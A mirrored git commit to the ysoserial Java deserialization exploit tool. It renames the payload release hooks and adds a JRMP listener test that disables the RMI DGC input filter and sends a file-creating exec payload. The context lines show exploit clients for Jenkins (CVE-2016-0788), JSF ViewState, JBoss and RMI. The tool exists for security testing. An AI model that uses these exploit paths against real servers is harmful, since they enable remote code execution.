mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
jrmp listener test case
This commit is contained in:
@@ -34,7 +34,7 @@ public class GeneratePayload {
|
||||
final Object object = payload.getObject(command);
|
||||
PrintStream out = System.out;
|
||||
Serializer.serialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, object);
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
|
||||
@@ -124,7 +124,7 @@ public class JBoss {
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,11 +20,11 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
*
|
||||
* Pretty much the same thing as {@link RMIRegistryExploit} but
|
||||
*
|
||||
* Pretty much the same thing as {@link RMIRegistryExploit} but
|
||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||
*
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -49,7 +49,7 @@ public class JRMPClient {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
Utils.postSerializeRelease(args[2], payloadObject);
|
||||
}
|
||||
|
||||
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
||||
@@ -80,7 +80,7 @@ public class JRMPClient {
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
@@ -96,8 +96,8 @@ public class JRMPClient {
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
|
||||
@@ -119,7 +119,7 @@ public class JRMPClient {
|
||||
else {
|
||||
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||
String cb = "";
|
||||
|
||||
|
||||
for ( URL u : us ) {
|
||||
cb += u.toString();
|
||||
}
|
||||
@@ -137,5 +137,5 @@ public class JRMPClient {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,19 +16,19 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
*
|
||||
*
|
||||
* Delivers a gadget payload via JSF ViewState token.
|
||||
*
|
||||
*
|
||||
* This will only work if ViewState encryption/mac is disabled.
|
||||
*
|
||||
*
|
||||
* While it has been long known that client side state saving
|
||||
* with encryption disabled leads to RCE via EL injection,
|
||||
* this of course also works with deserialization gadgets.
|
||||
*
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
*
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
* using server-side state saving
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -71,7 +71,7 @@ public class JSF {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -28,13 +28,13 @@ import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
*
|
||||
*
|
||||
* Jenkins unfortunately is still using a custom serialization based
|
||||
* protocol for remote communications only protected by a blacklisting
|
||||
* application level filter.
|
||||
*
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
*
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -67,7 +67,7 @@ public class JenkinsCLI {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable ( final Object prop )
|
||||
@@ -84,19 +84,19 @@ public class JenkinsCLI {
|
||||
|
||||
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if ( ! ( conn instanceof HttpURLConnection ) ) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if ( hc.getResponseCode() >= 400 ) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
@@ -105,13 +105,13 @@ public class JenkinsCLI {
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
|
||||
public Thread newThread ( Runnable r ) {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
|
||||
@@ -31,18 +31,18 @@ import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
*
|
||||
*
|
||||
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
*
|
||||
*
|
||||
* Extra twist:
|
||||
* The well-known objects exported by the listener use the system classloader which usually
|
||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||
* that identifier via an exception.
|
||||
*
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
@@ -78,7 +78,7 @@ public class JenkinsListener {
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
@@ -196,7 +196,7 @@ public class JenkinsListener {
|
||||
final Object object = payload.getObject(payloadArg);
|
||||
objOut.writeObject(object);
|
||||
os.flush();
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, object);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
|
||||
@@ -7,20 +7,19 @@ import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
import hudson.remoting.Channel;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
*
|
||||
*
|
||||
* - Sets up a local {@link JRMPListener}
|
||||
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
|
||||
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
|
||||
* that will cause the remote to open a JRMP connection to our listener
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* (that will deserialize using a default ObjectInputStream)
|
||||
*
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -75,6 +74,6 @@ public class JenkinsReverse {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
Utils.postSerializeRelease(args[2], payloadObject);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Utils.releasePayload(payloadObj, payload);
|
||||
Utils.postSerializeRelease(payloadObj, payload);
|
||||
return null;
|
||||
}});
|
||||
}
|
||||
|
||||
@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
@@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
}
|
||||
|
||||
|
||||
public void release ( DiskFileItem obj ) throws Exception {
|
||||
public void postSerializeRelease(DiskFileItem obj ) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
|
||||
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import sun.rmi.transport.ObjectTable;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( skip = "This test would make you potentially vulnerable")
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
|
||||
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
|
||||
|
||||
public UnicastRemoteObject getObject ( final String command ) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
|
||||
return uro;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
|
||||
// unexport ref to allow listener thread (and jvm) to exit
|
||||
ObjectTable.unexportObject(obj, true);
|
||||
}
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(JRMPListener.class, args);
|
||||
UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
|
||||
|
||||
|
||||
@SuppressWarnings ( "unchecked" )
|
||||
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof ReleaseableObjectPayload ) {
|
||||
( (ReleaseableObjectPayload) payload ).release(object);
|
||||
public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof PostSerializeReleasable) {
|
||||
((PostSerializeReleasable) payload).postSerializeRelease(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void releasePayload ( String payloadType, Object payloadObject ) {
|
||||
public static void postSerializeRelease(String payloadType, Object payloadObject ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
|
||||
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
releasePayload(payload, payloadObject);
|
||||
postSerializeRelease(payload, payloadObject);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof PostDeserializeReleasable) {
|
||||
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
|
||||
void postDeserializeRelease(T obj) throws Exception;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
|
||||
void postSerializeRelease(T obj ) throws Exception;
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||
|
||||
void release( T obj ) throws Exception;
|
||||
}
|
||||
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
|
||||
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
|
||||
@Authors({ Authors.JACOBAINES })
|
||||
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
|
||||
public void release(DiskFileItem obj) throws Exception {
|
||||
public void postSerializeRelease(DiskFileItem obj) throws Exception {
|
||||
}
|
||||
|
||||
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
|
||||
|
||||
@@ -2,7 +2,6 @@ package ysoserial.payloads.util;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.Serializer;
|
||||
import static ysoserial.Deserializer.deserialize;
|
||||
import static ysoserial.Serializer.serialize;
|
||||
@@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
@SuppressWarnings("unused")
|
||||
public class PayloadRunner {
|
||||
|
||||
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
|
||||
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
|
||||
return run(clazz, args, false);
|
||||
}
|
||||
|
||||
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
|
||||
// ensure payload generation doesn't throw an exception
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
final ObjectPayload<?> payload = clazz.newInstance();
|
||||
|
||||
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
|
||||
public byte[] call() throws Exception {
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
ObjectPayload<?> payload = clazz.newInstance();
|
||||
final Object objBefore = payload.getObject(command);
|
||||
|
||||
System.out.println("serializing payload");
|
||||
byte[] ser = Serializer.serialize(objBefore);
|
||||
Utils.releasePayload(payload, objBefore);
|
||||
Utils.postSerializeRelease(payload, objBefore);
|
||||
return ser;
|
||||
}});
|
||||
|
||||
try {
|
||||
System.out.println("deserializing payload");
|
||||
final Object objAfter = Deserializer.deserialize(serialized);
|
||||
T deserialize = (T) deserialize(serialized);
|
||||
if (releasePostDeserialize) {
|
||||
Utils.postDeserializeRelease(payload, deserialize);
|
||||
}
|
||||
return deserialize;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private static String getDefaultTestCmd() {
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
package ysoserial.payloads.util;
|
||||
|
||||
import java.lang.reflect.AccessibleObject;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.*;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
@@ -29,27 +26,46 @@ public class Reflections {
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
setAccessible(field);
|
||||
}
|
||||
catch (NoSuchFieldException ex) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
setAccessible(field);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null)
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
|
||||
obj = obj instanceof Class ? null : obj;
|
||||
final Field field = getField(clazz, fieldName);
|
||||
|
||||
field.setAccessible(true);
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setAccessible(true);
|
||||
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
|
||||
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
|
||||
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
|
||||
obj = obj instanceof Class ? null : obj;
|
||||
final Field field = getField(clazz, fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
|
||||
for (String fieldName : fieldNames) {
|
||||
if (obj == null) {
|
||||
throw new NullPointerException();
|
||||
}
|
||||
obj = getFieldValue(obj, fieldName);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static Constructor<?> getFirstCtor(final String name) throws Exception {
|
||||
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
|
||||
setAccessible(ctor);
|
||||
|
||||
@@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest {
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return getTouchCmd(testFile.toString());
|
||||
}
|
||||
|
||||
public static String getTouchCmd(String file) {
|
||||
switch (OS.get()) {
|
||||
case OSX:
|
||||
case LINUX: return "touch " + testFile;
|
||||
case WINDOWS: return "powershell -command new-item -type file " + testFile;
|
||||
case LINUX: return "touch " + file;
|
||||
case WINDOWS: return "powershell -command new-item -type file " + file;
|
||||
default: throw new UnsupportedOperationException("unsupported os");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import sun.misc.ObjectInputFilter;
|
||||
import sun.rmi.transport.ObjectTable;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.exploit.JRMPClient;
|
||||
import ysoserial.payloads.JRMPListener;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.OS;
|
||||
|
||||
import java.io.File;
|
||||
import java.rmi.Remote;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
|
||||
private final int port = 16000 + new Random().nextInt(16000);
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file shouldn't exist", testFile.exists());
|
||||
|
||||
// disable ObjectInputFilter
|
||||
Reflections.setFieldValue(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter", new Filter());
|
||||
|
||||
// open listener
|
||||
Remote res = (Remote) payload.call();
|
||||
|
||||
try {
|
||||
// send payload
|
||||
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
|
||||
|
||||
Files.waitForFile(testFile, 5000);
|
||||
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
} finally {
|
||||
// close listener
|
||||
// TODO move to postDeserRelease
|
||||
ObjectTable.unexportObject(res, true);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return "" + port;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
|
||||
}
|
||||
|
||||
public Class[] getAddlClasses() {
|
||||
return new Class[] { TestHarnessTest.ExecMockSerializable.class };
|
||||
}
|
||||
|
||||
public static class Filter implements ObjectInputFilter {
|
||||
@Override
|
||||
public Status checkInput(FilterInfo filterInfo) {
|
||||
return Status.ALLOWED;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
public interface NeedsAddlClasses {
|
||||
public Class[] getAddlClasses();
|
||||
}
|
||||
@@ -7,10 +7,7 @@ import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
|
||||
@@ -25,7 +22,6 @@ import org.junit.runners.Parameterized.Parameters;
|
||||
import ysoserial.*;
|
||||
import ysoserial.payloads.DynamicDependencies;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
import ysoserial.test.CustomPayloadArgs;
|
||||
@@ -75,7 +71,7 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
|
||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader)
|
||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
|
||||
throws Exception {
|
||||
System.out.println("Testing payload: " + payloadClass.getName());
|
||||
|
||||
@@ -123,6 +119,13 @@ public class PayloadsTest {
|
||||
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
|
||||
}
|
||||
|
||||
if (testHarness instanceof NeedsAddlClasses) {
|
||||
List<Class> classes = new LinkedList<Class>();
|
||||
classes.addAll(Arrays.asList(addlClassesForClassLoader));
|
||||
classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
|
||||
addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
|
||||
}
|
||||
|
||||
// TODO per-thread secmgr to enforce no detonation during deserialization
|
||||
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
|
||||
@@ -157,7 +160,7 @@ public class PayloadsTest {
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
final Object f = payload.getObject(command);
|
||||
byte[] serialized = Serializer.serialize(f);
|
||||
ObjectPayload.Utils.releasePayload(payload, f);
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, f);
|
||||
return serialized;
|
||||
}
|
||||
};
|
||||
@@ -246,6 +249,7 @@ public class PayloadsTest {
|
||||
// .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6
|
||||
.withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
|
||||
.withMavenCentralRepo(false)
|
||||
.useLegacyLocalRepo(true)
|
||||
// .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
|
||||
.resolve(dependencies).withoutTransitivity().asFile()
|
||||
: new File[0];
|
||||
|
||||
Reference in New Issue
Block a user